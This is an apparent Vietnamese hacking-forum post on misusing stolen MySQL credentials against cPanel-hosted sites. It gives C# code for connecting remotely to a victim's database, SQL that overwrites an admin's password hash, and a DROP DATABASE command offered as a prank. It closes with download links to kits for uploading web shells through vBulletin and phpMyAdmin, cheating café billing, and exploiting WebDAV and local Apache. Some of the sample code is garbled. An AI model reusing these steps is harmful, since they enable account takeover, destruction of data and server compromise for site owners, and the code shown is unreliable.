Có User và Pass Data trong tay ? Nhưng bạn chưa làm được gì ?

Có User + Pass Data trong tay ? Nhưng bạn chưa làm được gì ?????

_Trong loạt bài share này mình sẽ hướng dẫn bà toan cách sử lý khi trong tay có những cái mà quan trọng sau mà không biết ứng sử và sử lý nó ra sao


Đặt ra nhiều trường hợp ( biết vận động cái đầu chút )


nếu host dùng directadmin admin và koloxo thì vẫn có thể connect đc vào Mysql vẫn có thể update user và pass ( điều nầy thì ko cần nói nhiều)


Nhưng nó dùng cpanel thì sao , cái này mới khốn ( trường hợp không có shell nhé)


_ Giải pháp cho mấy bé đây


+ xác định ip và tìm sẵn link admin ( nếu là vbb khi khỏi có cách upload shell qua data)


+ Máy cài visual 2010 hay bản bao nhiêu thì tùy


+http://dev.mysql.com/downloads/connector/net/1.0.html download bản này về import vào C# , để khai báo thư viện MySql


+ Việc đơn giản còn lại là kết nối với data mà ta đã vô tình hoặc trộm cắp ở đâu thì tùy với câu lệnh kết nối vào Mysql như sau


String connString = "Server = IP host đã xác định bước trên ; Database = data đã trôm được;Port = 3306 ( cổng kết nối của Mysql); User ID = User Mysql;Password";


MySqlConnection conn = new MySqlConnection(connString);


MySqlCommand Command();


Conman = conn.CreateCommand();


Command.CommandText = "Câu Lệnh SQL"; //






ví dụ như


UPDATE `user` SET "password" = "69e53e5ab9536e55d31ff533aefc4fbe'", salt = "p5T" WHERE `userid` = "1"






còn chơi khăm hơn thì






DROP DATABASE `tên data`;






và Nhấn F5 xem thành quả thâu :v






thực chất ra đây cũng chỉ là 1 chút tư duy trong hacking thôi .....Quan trọng là biết cách suy nghĩ






còn đây là video UpShell qua database















Sẽ ra mắt tools connect Mysql và Auto UpLoad Shell for VBB






_ 1 vài video tìm lại


_Video Bypass Chatbox WorldOfHacked =))


http://www.mediafire.com/download/88olep119kiqy1o/bypasschatbox.rar


+ Hack Tiền quán nét









Ưu điểm có thể gian lận đc nếu biết cách


Nhược điểm : chủ quán biết là chỉ có ăn dép thẳng vào mồm


_Hack Shop Auto V5


http://www.mediafire.com/download/drhi5o3nsc9tblt/hackshop.rar


Chỉ là dùng 1 đoạn java nhỏ để Get Table và colums


_Upload Shell PhpMyadmin


http://www.mediafire.com/download/463c3r7k33f1vzx/upshell.rar


_Local Id Apache


http://www.mediafire.com/download/dtu9zb8u6zkf9gy/local_apache.rar


_Và mấy thằng bợn nhợn chúng nó khai thác web DAV như thế nào


http://www.mediafire.com/download/4b1a1d45o7pk7kw/exploit_server_win_DAV.rar


_Test Local Attack qua FXPFlash


http://www.mediafire.com/download/h3lmylp39so4w95/bypassflasfxp.rar